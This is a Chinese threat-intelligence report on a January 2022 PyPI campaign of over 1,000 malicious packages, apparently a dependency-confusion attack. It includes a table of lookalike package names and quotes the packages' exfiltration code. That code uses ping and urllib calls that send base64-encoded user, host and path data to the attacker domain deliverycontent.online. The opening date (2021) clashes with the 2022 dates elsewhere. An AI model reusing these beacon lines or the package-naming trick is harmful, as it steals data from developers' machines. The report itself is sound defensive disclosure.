2021年1月24日,奇安信技术研究院星图实验室自研的天问软件供应链安全分析平台Python供应链威胁监测模块捕获到一批可疑的包,根据天穹沙箱的分析结果,这些包均访问可疑域名deliverycontent[.]online。在捕获到这些可疑的包后,我们立马开展了对其的分析,定位到了这次上传包数量超过1000的“快闪攻击”。

这些包的上传者均为 arturlebedev,作者刻意省略了其邮箱等敏感信息,账号注册于2022年1月20日,自20日以来该作者的活动如下图所示。

攻击者于2022年1月20日上传了111个测试包,这些包的名称为super-package*tetrfog*(*指代常数),这一批测试包并没有实际攻击行为,其仅在用户import时向终端输出“malicious”字样。这种攻击形式的目标更像是开发者及自动化构建系统。

攻击者于北京时间2022年1月23日晚9时许上传了3个测试包,在发现PyPI没有发现并移除这三个包后,自2022年1月24日4时开始批量上传恶意包,由于每个包上传时间间隔均为2-3秒,我们推测攻击者应该是通过自动化脚本批量上传。批量上传一直持续到早上6点30分,此次共计上传了1161个包,这些包的恶意行为均是在窃取了用户名、计算机名、执行路径后,通过base64编码,回传至deliverycontent[.]online,形如:

1
2
3
r = os.system("ping f8a0362476c7361533177597a7479623239304f32706c64474a76644638784c.sub.deliverycontent.online")
r = urllib.request.urlopen("http://www.deliverycontent.online/g?d=8a62476c7361533177597a7479623239304\
f32706c64474a76644638784c6a41374c3268766257557662476c736153393259584e305a584e304c7a41324e6a4d77“, timeout=10)

经过分析,我们发现这1275个包内仅有74个包和常用包的包名高度相似,所以可以排除其批量typosquat攻击的意图。但是我们发现其中大部分包均在github上有同名的python项目,我们推测这应该是一次类Alex Birsan “依赖混淆”的攻击行为,通过批量上传与github项目同名的python包,当用户安装、引用这些包时达到窃取敏感信息并回传的目的。

攻击者于北京时间2022年1月24日晚8点14分开始批量移除其恶意包,耗时5分钟将所有包移除。目前其在PyPI上上传的恶意包均已被删除。我们将继续关注攻击者的动向。

如下是与常用包的包名高度相似的74个恶意包,如需要完整列表请联系我们。

恶意包 常用包
xcryptography cryptography
xeth-utils eth-utils
xweb3 web3
xwheel wheel
xgevent gevent
xkeyring keyring
xzeep zeep
bqlmetadata sql-metadata
xjsonschema jsonschema
zdiff ydiff
bql gql
platformlibs platformdirs
ximportlib-metadata importlib-metadata
xsetuptools setuptools
xeth-abi eth-abi
xeth-account eth-account
mplpy amplpy
xpyinstaller pyinstaller
sonify jsonify
xlz4 lz4
jconv jaconv
xpypsrp pypsrp
xpyopencl pyopencl
xpip pip
dpp app
xgoogle-cloud-core google-cloud-core
xcoincurve coincurve
xfirebase-admin firebase-admin
harkpython hap-python
xnbconvert nbconvert
flic flit
xaltgraph altgraph
pyeemd pyemd
lisa-profiler line-profiler
rmock mock
xmsgpack-python msgpack-python
annpy annoy
xvarint varint
xprettytable prettytable
xwsaccel wsaccel
xcytoolz cytoolz
xgoogle-api-core google-api-core
pyspark-pytest pyspark-test
xjira jira
xgoogle-cloud-storage google-cloud-storage
svn-python ssh-python
pcclient ncclient
xpycountry pycountry
xgoogle-cloud-firestore google-cloud-firestore
dbxml dexml
pykna pyknp
xpyppeteer pyppeteer
xhumanize humanize
bqprogress progress
recpy ecpy
xsqlalchemy-migrate sqlalchemy-migrate
cppex cplex
xbitarray bitarray
xstem stem
xparsimonious parsimonious
xsix six
caser case
xlru-dict lru-dict
xgcloud gcloud
xb2sdk b2sdk
dlopt nlopt
bfac kfac
wnn mnn
pyperties properties
xpromise promise
xeth-keyfile eth-keyfile
ximpacket impacket
evtk vtk
backtradercn backtrader